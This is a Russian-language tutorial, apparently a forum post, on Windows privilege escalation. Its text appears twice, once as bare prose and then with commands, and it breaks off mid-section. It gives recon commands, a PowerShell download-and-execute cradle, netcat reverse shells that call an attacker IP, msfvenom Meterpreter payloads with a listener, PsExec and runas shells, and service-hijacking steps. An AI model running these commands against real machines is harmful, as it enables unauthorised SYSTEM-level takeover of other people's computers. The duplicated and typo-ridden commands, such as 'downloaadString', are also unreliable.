Введение
Привет! Повышение привилегий в Windows - это процесс получения административных прав доступа на компьютере под управлением Windows для выполнения определённых задач, таких как изменение системных настроек, установка и удаление программ, доступ к защищённым файлам и папкам и т.д. Вообще ОС Windows используется только либо сотрудниками какой-либо компании, либо обычными людьми в качестве домашней ОС. Конечно, нам интересны ОС наших сотрудников. Ещё существует также и Windows Server и на нём тоже может быть что-то интересное. Даже если нет, то важно понимать как получить больше привелегий в ОС Windows, чтобы мы были убеждены в безопасности системы наших сотрудников.
Разведка
Разведка - это один из основных этапов в процессе взлома любой системы или сети. Разведка - это сбор информации о целевой системе или сети, такой как IP-адреса, имена компьютеров, открытые порты, операционные системы, приложения и т.д. Эта информация необходима для того, чтобы определить, какие уязвимости существуют в системе или сети и как могут воспользоваться ими злоумышленники. Прежде чем начать эксплуатировать уязвимости ОС Windows, нужно узнать больше информации об атакуемой машине. Поэтому разберём команды которые помогут нам лучше изучить атакуемую машину.
Системная информация
Как я уже говорил, дабы успешно эксплуатировать ОС Windows для повышения привелегий, нужно рабираться в деталях ОС. Команда
Команда:
Информации очень много. Дабы упростить задачу, мы воспользуемся командой
Команда:
Архитектура Windows
Для получения информации об архитектуре Windows воспользуемся утилитой WMIC. Вы будете често с ней работать, если хотите использовать командную строку Windows. Эта утилита представляет собой интерфейс командной строки для Windows Management Instrumentation.
Команда:
Список дисковых накопителей
Чтобы вывести список всех накопителей в ОС, нужно воспользоваться утилитой wmic ещё раз.
Команда:
Установленные исправления
Вывести список установленных системных исправлений в Windows можно через команду
Команда:
Кто я?
Когда мы получим доступ к командной строке в операционной системе, часть важной информации, которую вы захотите знать, это то какие привелегии у вас есть. Команда
Команда:
Список пользователей и групп
Вариантов для перечисления локальных пользователей в ОС Windows много. Но у вас наверное возник вопрос, а зачем нам это, точнее как это поможет в повышении привелегий? Отвечаю, в одной ОС может быть несколько пользователей, и права у них тоже разные, как правило есть пользователь "Сотрудник", а есть "Системный администратор" или просто "Администратор" (Такая практика мне кажется очень хорошей, но к своему стыду скажу что когда я работал в одной компании не стал так делать, к счатью атаки небыло, да и красть оттуда было нечего, наверное поэтому я отнёсся к этом так не серьёзно). В общем команда для просмотра:
Команда:
Также можно выбрать пользователя и получить о нём информацию:
Команда:
Чтобы вывести список локальных групп, используем команду
Команда:
Чтобы получить информациб о конктретной группе, используем:
Команда:
Если хост подключён к контроллеру домена, то вы можете перечислить группы домена, как показано ниже:
Команда:
Чтобы просмотреть подробную информацию об определённой группе домена, выполняем такую команду.
Команда:
Сетевая информация
Дабы вывести список всех сетевых интерфейсов и связанных с ними IP-адресов, исполняем нашу любимую команду ipconfig.
Команда:
Чтобы вывести таблицу маршрутизации локального хоста, мы будем использовать
Команда:
Чтобы вывести список всех текущих подключений, установленных с хоста Windows, выполняем это.
Команда:
Чтобы посмотреть конфигурацию брандмауэра, пишем netsh.
Команда:
Команда:
(Надись "netsh firewall" ist jedoch veraltet говорит о том что такая команда устарела, тем не менее она всё ещё работает)
Чтобы вывести список общих сетевых ресурсов на хосте Windows, вам нужно будет использовать команду net share. Доступ к общей папке иногда раскрывает секретные данные на хосте.
Команда:
Отображение слабых разрешений
Проверить права доступа к директории или файлу можно с помощью icacls. Важно подметить, что на более старых версиях ОС, необходима команда cacls.
Команда:
Справочка:
Список установленных программ
Чтобы вывести список всех установленных программ, можно использовать PowerShell, дабы показать содержимое директорий Program Files и Program Files (x86).
Команда:
Список задач и процессов
Чтобы вывести список всех задач и процессов в Windows, требуется использовать команду tasklist /v. Вывод этой команды большой, но его можно отфильтровать и отобразить только системные процессы.
Команда:
Чтобы вывести список запланированных задач на узле, можно использовать команду ниже в PowerShell. В ней мы применяем фильтр для исключения задач, связанных с microsoft.
Команда:
Передача файлов
Передача файлов между операционными системами Windows и Linux может быть несложным делом, если знать, как это делать. Мы рассмотрим несколько способов передачи файлов между этими двумя ОС - с помощью общих папок, FTP сервера или протокола SCP (Secure Copy). Рассмотрим сильные и слабые стороны каждого метода и выберем лучший вариант для ваших нужд. Для ОС Windows и Linux нам нужно будет передавать файлы на целевой хост, особенно когда нужно иметь дело с эксплойтами ядра.
На Windows
Если целевым хостом является Windows, то для передачи файлов вы можете использовать параметры, которые я сейчас опишу ниже.
Давайте рассмотрим случай, когда нужно найти способ передать файлы на ОС Linux.
Эксплуатация системы Windows
В ОС Windows мы можем выйти за рамки учётной записи администратора и получить вместо неё учётную запись SYSTEM. В таком случае, у нас будет полный доступ к целевому хосту Windows. Учётная запись SYSTEM не может использоваться для авторизации в ОС. Нам нужно знать пару фактов об аутентификации/авторизации в ОС Windows.
Эксплойты ядра Windows
Эксплойты ядра Windows - это ошибки или недоработки в безопасности операционной системы, которые могут быть использованы злоумышленниками для выполнения вредоносных действий. Как я уже говорил, ядро - это сердце системы. Как только вы проэксплуатируете ядро, вы полностью овладеете ОС. Чтобы такое выполнить, стоит пошагово выполнить эти действия:
Допустим мы подключены к удалённому хосту под управлением Windows 7 с ограниченой командной оболочкой. Запускаем systeminfo, чтобы узнать версию ОС.
Поиск подходящего эксплойта
Что получить точный результат, можно использовать инструмент под названием wesng(Windows Exploit Suggester) на вашей Kali для отображения любых подходящих вариантов для этой ОС.
Сначала давайте выполним команду systeminfo с полным выводом. Затем копируем вывод в файл и используем такую команду чтобы проверить наличие эксплойта.
Ссылка на инструмент: GitHub - bitsadmin/wesng: Windows Exploit Suggester - Next Generation
Количество эксплойтов может поражать, и попытка понять PoC на exploit-db весьма трудная задача. Самый простой способ - использовать один из репозиториев PoC на GitHub: GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合
Выполнение полезной нагрузки и получение командной оболочки
Всё что нам нужно, это скачать x64.exe c GitHub и передать его на Windows, используя ограниченную оболочку. Воспользуемся netcat, чтобы создать новую командную оболочку от пользователя root.
На Kali прослушиваем входящие соединения на порту 1488:
В оболочке Windows подключитесь к порту прослушивания с помощью файла повышения привелегий (x64.exe).
Вернувшись в окно терминала Kali, у вас должен быть доступ к командной строке с повышенными привелегиями.
Metasploit PrivEsc
Metasploit обладает расширенным функционалом, которые позволяют легко выполнять подобную работу. Возможно, кто-то кринжует его использовать, ссылаясь на то, что он для скрипт-кидди, так или иначе он очень полезен и порой выручает. Ниже описана инструкция, как что делать:
Затем начнём прослушивать порт на Kali с помощью модуля handler в Metasploit:
На данном этапе передайте файл m_shell.exe на хост Windows и запустите его от имени ограниченного пользователя. Вернитесь к слушателю и вы увидете что установлено успешное подключение.
Эксплуатация приложений Windows
Эксплуатация приложений Windows - это процесс использования уязвимых или плохо защищённых приложений в Windows для получения неавторизованного доступа к целевой системе или ее функциональности. Это может включать в себя попытки SQL инъекций, эксплойты на стороне сервера и другие атаки, направленные на приложения Windows. Приложения можно установить и запускать с правами Администратора/системы. Здесь мы попробуем какое-нибудь настраевоемое приложение и попробуем добиться повышения привелегий, нужно будет следовать шаблону ниже:
Запуск от имени другого пользователя в Windows
Если вы работаете как пользователь с низкими правами и имеете учётные данные админа, то можете использовать эти данные для повышения своих привелегий. Самый популярный способ - сначала скопировать обратную командную оболочку. Потом подключиться к другой командной оболочке, прослушиваемой на kali, с помощью, исполняемого файла runas.exe, запустим netcat от имени другого пользователя.
Вернувшись к терминалу вы получите доступ к оболочке с правами админа.
Инструмент PSExec
Утилита командной строки PSExec похожа на команду runas. Скачать её можно
Разница между этим инструментом и runas в том, что PSExec даёт больше возможностей. Допустим, у вас уже есть доступ к ограниченной командной оболочке и вы нашли логин и пароль админыча. На данном этапе можно использовать MSFvenom для создания обратной командной оболочки, а потом запустить свой слушатель на kali.
Теперь запускаем слушателя.
Вернувшись к нашей ограниченной командной строке, мы должны передать файл shell.exe на хост с Windows. После этого мы можем выполнить его с помощью утилиты PSExec, чтобы получить доступ к командной оболочке с правами SYSTEM.
Сияем!
Эксплуатация сервисов в Windows
Эксплуатация сервисов в Windows - это процесс использования доступных в операционной системе Windows сервисов и утилит для получения неавторизованного доступа к удаленным системам или выполнения задач на целевой системе. Сервимы в системе Windows подобны демонам в Linux. Они запускают задачи в фоновом режиме, и большую часть времени те выполняются с привилегиями SYSTEM.
Взаимодействие с сервисами Windows
Нам нужно будет взаимодействовать с сервисами Windows через командную строку. Дабы осилить такую задачу, мы будем использовать такие команды:
Неверно настроенные разрешения сервиса
Нам нужен сервис, в котором мы имеем право менять конфигурацию. Ниже указаны общие две настройки, которые должны позволить нам переопределить такой сервис:
Допустим, утилита обнаружила неправильно настроенный сервис god_damn. В командной строке используйте сервисную программу sc.exe, чтобы запросить конфигурацию этого сервиса.
Допустим, что мы заметили 2 интересных параметра:
Первый указывает на директорию, где находится исполняемый файл сервиса.
Второй на то, что он работает как системная учётная запись.
Затем мы проверим разрешения LowPrivUser для этого сервиса с помощью утилиты accesschk.exe.
И если мы видим строку SERVICE_CHAGE_CONFIG, мы можем по праву сиять, ибо у нас есть разрешение на редактирование конфигурации сервиса. Будьте внимательны, т.к если у вас не будет разрешений на запуск и остановку сервиса, придётся ждать перезагрузки машины.
Давайте изменим конфигурацию сервиса, чтобы указать нашу обратную оболочку:
Теперь запускаем слушатель на Kali. Затем нужно перезагуржить сервис, дабы вызвать нашу обратную оболочку.
Переопределение сервиса
Давайте теперь представим что прав на изменения конфигурации сервиса у нас нет. Но есть права на изменение исполняемого файла сервиса. Проверить можно с помощью утилиты accesschk.exe:
Если у вас есть права на запись, то всё что вам нужно сделать - это перезаписать test_service.exe вашим shell'ом. После копирования исполняемого файла запускаем слушатель на Kali и перезапускаем сервис.
Путь сервиса без кавычек
Перед тем как эксплуатировать этот недостаток, вы должны знать некоторые основы исполняемых файлов в Windows. Исполняемые файлы можно запускать 2 способами. Первый использует полное имя исполняемого файла:
Второй способ выполнения программ - удалить расширение .exe, если программа находится в переменной PATH Windows.
В этом сценарии у нас нет прав на изменение конфигурации. Итак, цель состоит в том, чтобы подменить путь к исполняемому файлу сервиса для запуска нашего шелла. Предполагая, что администратор сохранил сервис по следующему пути:
ОС будет рассматривать такой путь как 3 разные строки из-за пробелов:
Вывод:
Затем мы проверим разрешения, которые имеет пользователь с низким уровнем привилегий для этого сервиса:
и в выводе мы видим что разрешения на изменение параметров у нас нет, но есть возможность запустить его или остановить.
Теперь наша цель - найти доступный для записи каталог, чтобы сохранить в нём шелл. Проверка C:\Program Files\Admin Services\ показывает, что группа Users имеет разрешения на чтение и запись:
Вывод:
Всё что осталось сделать можно уместить в 4 этапа:
Иногда сервис хорошо защищён, и это говорит о том, что у нас нет доступа для изменения его конфигурации. Стоит поискать где-нибудь в реестрах ОС Windows. Имейте в виду, что реестр Windows - это база данных конфигураций данной ОС.
Настало время познакомится с WinPeas который поможет нам найти неправильную конфигурацию разрешений записи реестра сервиса.
Допустим инструмент обнаружил уязвимую запись реестра:
Далее проверим права:
Встроенная группа NT AUTHORITY\INTERACTIVE имеет разрешения на чтение и запись. В эту группу входят все пользователи, которые вошли в систему на физическом хосте.
Когда у нас есть необходимые права, проверим запись в реестре по этому пути
Вывод:
Осталось дело за малым - переопределить запись реестра service.exe шеллом.
Осталось только запустить слушателя на кали, перезапустить сервис и получить шелл.
Использование запланированных задач
Расписание задач может быть использовано для запуска вредоносного ПО или команд, которые помогут мне оставаться незамеченным и контролировать целевую систему удаленно. В линуксе для планировки задач мы использовали cron. В системе Windows cron называется Scheduled Tasks. Задачи могут быть запланированы для выполнения самим пользователем, а пользователи с повышенными правами могут запускать задачи и для других пользователей. Обычно эту уязвимость используют так:
Автоматизированные интструменты Windows PrivEsc
Автоматизированные инструменты для повышения привилегий в Windows - это комплексы утилит, скриптов и сканеров безопасности, которые помогают автоматизировать процессы увеличения привилегий на Windows системе. Они могут использоваться как легальными экспертами безопасности, так и зловредными хакерами для получения доступа к конфиденциальной информации или контроля над целевой системы. Для системы Windows существует множество автоматизированных инструментов. Есть хорошие, есть плохие. Теперь мы понимаем как работает повышение прав в ОС Windows, мы можем рассмотреть более детально инструменты для автоматизации.
PowerUp
Сценарий PowerUp.ps1 - это служеюная программа, которая пренадлежит набору инструментов PowerSploit. Данный сценарий PowerShell просканирует и определит все неправильные конфигурации в системе.
Перед запуском сценария, мы должны понять основную информацию о том, как запускать сценарии PowerShell. Чтобы выполнить код PowerShell, вам нужно будет использовать PowerShell, так? Что делать если у вас ограниченная командная строка? В этой строке вы можете добавить слово powershell перед выполнением кода. Типо: powershell
Обратим внимание на то, что нам нужно бдует изменить политику выполнения PowerShell на Unrestricted перед запуском сценария PowerUp. По дефолту, Microsoft включает эту функцию для защиты пользователей от вредоносных сценариев PowerShell:
Теперь мы можем запустить сценарий PowerUp. Сначала загрузим его с помощью такой команды:
Затем, дабы выполнить его, вызовем функцию Invoke-AllChecks:
Ссылка на инструмент: GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework
WinPeas
Windows Privilege Escalation Awesome Scripts - Прекрасный инструмент для повышения своих привелегий. Обратите внимание, что на страинце с репозиторием в релизе уже есть скомпилированный вариант программы. Затем перед запуском инструмента WinPEAS, можно добавить запись в реестр с помощтб командной строки, чтобы добавить цвета к выходным данным
Когда команда для создания реестра будет выполнена, необходимо закрыть сеанс Windows и снова открыть новую командную строку.
Ссылка на иструмент: GitHub - peass-ng/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)
Заключение
Повышение привилегий в Windows - отличный способ получить доступ к конфиденциальной информации и возможность контролировать целевую систему. Это можно сделать с помощью уязвимостей, скрытых учетных записей или неправильных настроек безопасности в Windows. Но важно понимать что каждый случай уникальный.
Привет! Повышение привилегий в Windows - это процесс получения административных прав доступа на компьютере под управлением Windows для выполнения определённых задач, таких как изменение системных настроек, установка и удаление программ, доступ к защищённым файлам и папкам и т.д. Вообще ОС Windows используется только либо сотрудниками какой-либо компании, либо обычными людьми в качестве домашней ОС. Конечно, нам интересны ОС наших сотрудников. Ещё существует также и Windows Server и на нём тоже может быть что-то интересное. Даже если нет, то важно понимать как получить больше привелегий в ОС Windows, чтобы мы были убеждены в безопасности системы наших сотрудников.
Разведка
Разведка - это один из основных этапов в процессе взлома любой системы или сети. Разведка - это сбор информации о целевой системе или сети, такой как IP-адреса, имена компьютеров, открытые порты, операционные системы, приложения и т.д. Эта информация необходима для того, чтобы определить, какие уязвимости существуют в системе или сети и как могут воспользоваться ими злоумышленники. Прежде чем начать эксплуатировать уязвимости ОС Windows, нужно узнать больше информации об атакуемой машине. Поэтому разберём команды которые помогут нам лучше изучить атакуемую машину.
Системная информация
Как я уже говорил, дабы успешно эксплуатировать ОС Windows для повышения привелегий, нужно рабираться в деталях ОС. Команда
systeminfo предоставит вам много информации.Команда:
systeminfo
Информации очень много. Дабы упростить задачу, мы воспользуемся командой
findstr:Команда:
systeminfo | findstr /B /C:"{PARAM}"
Архитектура Windows
Для получения информации об архитектуре Windows воспользуемся утилитой WMIC. Вы будете често с ней работать, если хотите использовать командную строку Windows. Эта утилита представляет собой интерфейс командной строки для Windows Management Instrumentation.
Команда:
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
Список дисковых накопителей
Чтобы вывести список всех накопителей в ОС, нужно воспользоваться утилитой wmic ещё раз.
Команда:
wmic logicaldisk get caption || fstuil fsinfo drives
Установленные исправления
Вывести список установленных системных исправлений в Windows можно через команду
systeminfo, но также эту задачу можно выполнить с помощью wmic:Команда:
wmic qfe get Caption, Description, HotFixID, InstalledOn
Кто я?
Когда мы получим доступ к командной строке в операционной системе, часть важной информации, которую вы захотите знать, это то какие привелегии у вас есть. Команда
whoami с параметром /priv покажет.Команда:
whoami /priv
Список пользователей и групп
Вариантов для перечисления локальных пользователей в ОС Windows много. Но у вас наверное возник вопрос, а зачем нам это, точнее как это поможет в повышении привелегий? Отвечаю, в одной ОС может быть несколько пользователей, и права у них тоже разные, как правило есть пользователь "Сотрудник", а есть "Системный администратор" или просто "Администратор" (Такая практика мне кажется очень хорошей, но к своему стыду скажу что когда я работал в одной компании не стал так делать, к счатью атаки небыло, да и красть оттуда было нечего, наверное поэтому я отнёсся к этом так не серьёзно). В общем команда для просмотра:
Команда:
net user
Также можно выбрать пользователя и получить о нём информацию:
Команда:
net user {USER}
Чтобы вывести список локальных групп, используем команду
net localgroupКоманда:
net localgroup
Чтобы получить информациб о конктретной группе, используем:
Команда:
net localgroup {GROUP}
Если хост подключён к контроллеру домена, то вы можете перечислить группы домена, как показано ниже:
Команда:
net group /domainЧтобы просмотреть подробную информацию об определённой группе домена, выполняем такую команду.
Команда:
net group /domain {GROUP}Сетевая информация
Дабы вывести список всех сетевых интерфейсов и связанных с ними IP-адресов, исполняем нашу любимую команду ipconfig.
Команда:
ipconfig /all
Чтобы вывести таблицу маршрутизации локального хоста, мы будем использовать
route print. Эта таблица покажет нам все сетевые маршруты к другим хостам в той же сети:Команда:
route print
Чтобы вывести список всех текущих подключений, установленных с хоста Windows, выполняем это.
Команда:
netstat -ano
Чтобы посмотреть конфигурацию брандмауэра, пишем netsh.
Команда:
netsh firewall show stateКоманда:
netsh firewall show config
(Надись "netsh firewall" ist jedoch veraltet говорит о том что такая команда устарела, тем не менее она всё ещё работает)
Чтобы вывести список общих сетевых ресурсов на хосте Windows, вам нужно будет использовать команду net share. Доступ к общей папке иногда раскрывает секретные данные на хосте.
Команда:
net share
Отображение слабых разрешений
Проверить права доступа к директории или файлу можно с помощью icacls. Важно подметить, что на более старых версиях ОС, необходима команда cacls.
Команда:
icacls Shared
Справочка:
- (F) - полный доступ
- (M) - доступ на изменение
- (W) - доступ только для записи
Ссылка скрыта от гостей
.Список установленных программ
Чтобы вывести список всех установленных программ, можно использовать PowerShell, дабы показать содержимое директорий Program Files и Program Files (x86).
Команда:
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Список задач и процессов
Чтобы вывести список всех задач и процессов в Windows, требуется использовать команду tasklist /v. Вывод этой команды большой, но его можно отфильтровать и отобразить только системные процессы.
Команда:
tasklist /v /fi "username eq {NAME}"
Чтобы вывести список запланированных задач на узле, можно использовать команду ниже в PowerShell. В ней мы применяем фильтр для исключения задач, связанных с microsoft.
Команда:
Get-ScheduleTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Передача файлов
Передача файлов между операционными системами Windows и Linux может быть несложным делом, если знать, как это делать. Мы рассмотрим несколько способов передачи файлов между этими двумя ОС - с помощью общих папок, FTP сервера или протокола SCP (Secure Copy). Рассмотрим сильные и слабые стороны каждого метода и выберем лучший вариант для ваших нужд. Для ОС Windows и Linux нам нужно будет передавать файлы на целевой хост, особенно когда нужно иметь дело с эксплойтами ядра.
На Windows
Если целевым хостом является Windows, то для передачи файлов вы можете использовать параметры, которые я сейчас опишу ниже.
- Использовать общую сетевую директорию Samba и попробовать получить к ней доступ из командной строки с ограниченным доступом.
copy \\IP-SMB \NAME_DIR_OF_SMB \FILE_FOR_TRANSFER. - Использовать FTP-клиент для скачивания файлов.
ftp open {IP-FTP}
вводим учётные днные иget {file_name} - Скачать и запустить файл с помощью PowerShell. Дабы это исполнить нужно иметь веб-сервер на котором будет эксплойт, а потом выполнить такую команду.
powershell "IEX (New-Object Net.WebClient).downloaadString('http://IP/FILE')" - Второй способ - создать сценарий на хосте Windows и затем выполнить его.
Теперь чтобы это запустить пишем такую команду ->Код:echo $storageDir = $pwd > wget.ps1 echo $webclient = New-Object System.Net.WebClient >> wget.ps1 echo $url = "http://IP/FILE" >> wget.ps1 echo $file = "FILE_NAME" >> wget.ps1 echo $webclient.DownloadFile($url,$file) >> wget.ps1powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
Давайте рассмотрим случай, когда нужно найти способ передать файлы на ОС Linux.
- Скачиваем файлы с удалённого веб-сервера
wgetСсылка скрыта от гостей - Если на удалённом сервере работает SSH, можно скачать файл экслойта используя безопасное копирование
scp user@127.0.0.1:/exploit.bin /tmp/- Если на хосте установлен netcat, то с его помощью можно также передвать файлы.
На узле с Kali запускает прослушку
nc -lvp 1488
А на уязвимом хосте пишем
nc IP 1488 > exploit.bin
Эксплуатация системы Windows
В ОС Windows мы можем выйти за рамки учётной записи администратора и получить вместо неё учётную запись SYSTEM. В таком случае, у нас будет полный доступ к целевому хосту Windows. Учётная запись SYSTEM не может использоваться для авторизации в ОС. Нам нужно знать пару фактов об аутентификации/авторизации в ОС Windows.
- Учётные записи пользователей используются в OC Windows, чтобы позволить людям войти в систему.
- Учёьные записи сервисов используются сервисами операционной системы и обычно имеют права с высокими привилегиями.
- Группы служат для группирования учётных записей пользователей. Хороший пример, группа "Администраторы" в которой хранятся все учётные записи пользователей с права администратора.
- Ресурсы - это физические элементы, к которым каждой группе или пользователям нужен доступ (Файлы, Директории, Сервисы).
- Разрешения или списки управления доступом - это правила, определяющие, кто к чему имеет доступ.
Эксплойты ядра Windows
Эксплойты ядра Windows - это ошибки или недоработки в безопасности операционной системы, которые могут быть использованы злоумышленниками для выполнения вредоносных действий. Как я уже говорил, ядро - это сердце системы. Как только вы проэксплуатируете ядро, вы полностью овладеете ОС. Чтобы такое выполнить, стоит пошагово выполнить эти действия:
- Определить версию ОС
- Найти подходящий эксплойт
- Поместить эксплойт в каталог, в котором у вас есть права на запись.
- Запустить и сиять с правами системы
Допустим мы подключены к удалённому хосту под управлением Windows 7 с ограниченой командной оболочкой. Запускаем systeminfo, чтобы узнать версию ОС.
Поиск подходящего эксплойта
Что получить точный результат, можно использовать инструмент под названием wesng(Windows Exploit Suggester) на вашей Kali для отображения любых подходящих вариантов для этой ОС.
Сначала давайте выполним команду systeminfo с полным выводом. Затем копируем вывод в файл и используем такую команду чтобы проверить наличие эксплойта.
Python:
python wes.py --update
python wes.py sysinfo.txt -i 'Elevation of Privilege' --exploitsonlyКоличество эксплойтов может поражать, и попытка понять PoC на exploit-db весьма трудная задача. Самый простой способ - использовать один из репозиториев PoC на GitHub: GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合
Выполнение полезной нагрузки и получение командной оболочки
Всё что нам нужно, это скачать x64.exe c GitHub и передать его на Windows, используя ограниченную оболочку. Воспользуемся netcat, чтобы создать новую командную оболочку от пользователя root.
На Kali прослушиваем входящие соединения на порту 1488:
nc -nlvp 1488В оболочке Windows подключитесь к порту прослушивания с помощью файла повышения привелегий (x64.exe).
x64.exe "nc.exe -nv IP 1488 -e cmd.exe"Вернувшись в окно терминала Kali, у вас должен быть доступ к командной строке с повышенными привелегиями.
Metasploit PrivEsc
Metasploit обладает расширенным функционалом, которые позволяют легко выполнять подобную работу. Возможно, кто-то кринжует его использовать, ссылаясь на то, что он для скрипт-кидди, так или иначе он очень полезен и порой выручает. Ниже описана инструкция, как что делать:
- Сначала получите доступ к командной оболочке Meterpreter.
- Попробуйте выполнить команду getsystem(это работает с устаревшими ОС windows x86)
- Потом запустите модуль local exploit suggester(локальный модуль для помощи в выборе эксплойтов), который выведет список потенциальных кондидатов.
- Попробуйте каждый из них и смотрите, какой из них сработает.
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST={IP} LPORT={PORT} -f exe > m_shell.exeЗатем начнём прослушивать порт на Kali с помощью модуля handler в Metasploit:
use exploit/multi/handlerset payload windows/x64/meterpreter_reverse_tcpset LHOST {IP}set LPORT {PORT}set ExitOnSession falseНа данном этапе передайте файл m_shell.exe на хост Windows и запустите его от имени ограниченного пользователя. Вернитесь к слушателю и вы увидете что установлено успешное подключение.
Эксплуатация приложений Windows
Эксплуатация приложений Windows - это процесс использования уязвимых или плохо защищённых приложений в Windows для получения неавторизованного доступа к целевой системе или ее функциональности. Это может включать в себя попытки SQL инъекций, эксплойты на стороне сервера и другие атаки, направленные на приложения Windows. Приложения можно установить и запускать с правами Администратора/системы. Здесь мы попробуем какое-нибудь настраевоемое приложение и попробуем добиться повышения привелегий, нужно будет следовать шаблону ниже:
- Определить приложения, уже установленные в локальной системе Windows.
- Сопоставить и понять, есть ли какие-нибудь эксплойты в интернете.
- Выполнить инструкции, перечисленные в PoC эксплойта.
Запуск от имени другого пользователя в Windows
Если вы работаете как пользователь с низкими правами и имеете учётные данные админа, то можете использовать эти данные для повышения своих привелегий. Самый популярный способ - сначала скопировать обратную командную оболочку. Потом подключиться к другой командной оболочке, прослушиваемой на kali, с помощью, исполняемого файла runas.exe, запустим netcat от имени другого пользователя.
C:\Windows\System32\runas.exe /env /noprofile /user:admin "C:\Users\user\Documents\nc.exe {IP} {PORT} -e cmd.exe"Вернувшись к терминалу вы получите доступ к оболочке с правами админа.
Инструмент PSExec
Утилита командной строки PSExec похожа на команду runas. Скачать её можно
Ссылка скрыта от гостей
.Разница между этим инструментом и runas в том, что PSExec даёт больше возможностей. Допустим, у вас уже есть доступ к ограниченной командной оболочке и вы нашли логин и пароль админыча. На данном этапе можно использовать MSFvenom для создания обратной командной оболочки, а потом запустить свой слушатель на kali.
msfvenom -p windows/x64/shell_reverse_tcp LHOST={HOST} LPORT={PORT} -f exe -o shell.exeТеперь запускаем слушателя.
nc -nlvp {PORT}Вернувшись к нашей ограниченной командной строке, мы должны передать файл shell.exe на хост с Windows. После этого мы можем выполнить его с помощью утилиты PSExec, чтобы получить доступ к командной оболочке с правами SYSTEM.
PsExec64.exe /accepteula -i -u admin -p 123456seven C:\tools\shell.exeСияем!
Эксплуатация сервисов в Windows
Эксплуатация сервисов в Windows - это процесс использования доступных в операционной системе Windows сервисов и утилит для получения неавторизованного доступа к удаленным системам или выполнения задач на целевой системе. Сервимы в системе Windows подобны демонам в Linux. Они запускают задачи в фоновом режиме, и большую часть времени те выполняются с привилегиями SYSTEM.
Взаимодействие с сервисами Windows
Нам нужно будет взаимодействовать с сервисами Windows через командную строку. Дабы осилить такую задачу, мы будем использовать такие команды:
Код:
sc.exe qc {SERVICE_NAME} #Просмотреть конфигурацию сервиса
sc.exe config {SERVICE_NAME} {SETTING}={NEW_VALUE} #Редактировать настройки сервиса
sc.exe stop {SERVICE_NAME} #Остановить сервис
sc.exe start {SERVICE_NAME} #Запустить сервис
sc.exe query {SERVICE_NAME} #Узнать статус сервисаНеверно настроенные разрешения сервиса
Нам нужен сервис, в котором мы имеем право менять конфигурацию. Ниже указаны общие две настройки, которые должны позволить нам переопределить такой сервис:
- SERVICE_CHANGE_CONFIG;
- SERVICE_ALL_ACCESS;
Допустим, утилита обнаружила неправильно настроенный сервис god_damn. В командной строке используйте сервисную программу sc.exe, чтобы запросить конфигурацию этого сервиса.
Допустим, что мы заметили 2 интересных параметра:
BINARY_PATH_NAME : "C:\Program Files\Services\test_service.exe"SERVICE_START_NAME : LocalSystemПервый указывает на директорию, где находится исполняемый файл сервиса.
Второй на то, что он работает как системная учётная запись.
Затем мы проверим разрешения LowPrivUser для этого сервиса с помощью утилиты accesschk.exe.
accesschk.exe /accepteula -uwcqv LowPrivUser god_damnИ если мы видим строку SERVICE_CHAGE_CONFIG, мы можем по праву сиять, ибо у нас есть разрешение на редактирование конфигурации сервиса. Будьте внимательны, т.к если у вас не будет разрешений на запуск и остановку сервиса, придётся ждать перезагрузки машины.
Давайте изменим конфигурацию сервиса, чтобы указать нашу обратную оболочку:
C:\Users\user>sc config god_damn binpath="\"C:\Users\user\shell.exe\""Теперь запускаем слушатель на Kali. Затем нужно перезагуржить сервис, дабы вызвать нашу обратную оболочку.
sc stop god_damnsc start god_damnПереопределение сервиса
Давайте теперь представим что прав на изменения конфигурации сервиса у нас нет. Но есть права на изменение исполняемого файла сервиса. Проверить можно с помощью утилиты accesschk.exe:
accesschk.exe /accepteula -quvw " C:\Program Files\Services\test_service.exe"Если у вас есть права на запись, то всё что вам нужно сделать - это перезаписать test_service.exe вашим shell'ом. После копирования исполняемого файла запускаем слушатель на Kali и перезапускаем сервис.
Путь сервиса без кавычек
Перед тем как эксплуатировать этот недостаток, вы должны знать некоторые основы исполняемых файлов в Windows. Исполняемые файлы можно запускать 2 способами. Первый использует полное имя исполняемого файла:
C:\>program.exeВторой способ выполнения программ - удалить расширение .exe, если программа находится в переменной PATH Windows.
C:\>ping 127.0.0.1В этом сценарии у нас нет прав на изменение конфигурации. Итак, цель состоит в том, чтобы подменить путь к исполняемому файлу сервиса для запуска нашего шелла. Предполагая, что администратор сохранил сервис по следующему пути:
C:\Program Files\Admin Services\test\service.exeОС будет рассматривать такой путь как 3 разные строки из-за пробелов:
- С:\Program
- Files\Admin
- Services\test\service.exe
sc qc usvcВывод:
BINARY_PATH_NAME : "C:\Program Files\Admin Services\test\service.exe"Затем мы проверим разрешения, которые имеет пользователь с низким уровнем привилегий для этого сервиса:
accesschk.exe /accepteula -uwcqv user usvcи в выводе мы видим что разрешения на изменение параметров у нас нет, но есть возможность запустить его или остановить.
Теперь наша цель - найти доступный для записи каталог, чтобы сохранить в нём шелл. Проверка C:\Program Files\Admin Services\ показывает, что группа Users имеет разрешения на чтение и запись:
accesschk.exe /accepteula -uwdq "C:\Program Files\Admin Services\"Вывод:
RW BUILTIN\UsersВсё что осталось сделать можно уместить в 4 этапа:
- Скопировать файл с шеллом в директорию C:\Program Files\Admin Services\ и назовите её test.exe. Так как мы хотим использовать переменную пути Services\test.
- Запустите слушатель Kali
- Перезапустите сервис
- Сияем
Иногда сервис хорошо защищён, и это говорит о том, что у нас нет доступа для изменения его конфигурации. Стоит поискать где-нибудь в реестрах ОС Windows. Имейте в виду, что реестр Windows - это база данных конфигураций данной ОС.
Настало время познакомится с WinPeas который поможет нам найти неправильную конфигурацию разрешений записи реестра сервиса.
Допустим инструмент обнаружил уязвимую запись реестра:
HKLM\System\CurrentControlSet\Services\reg_svcДалее проверим права:
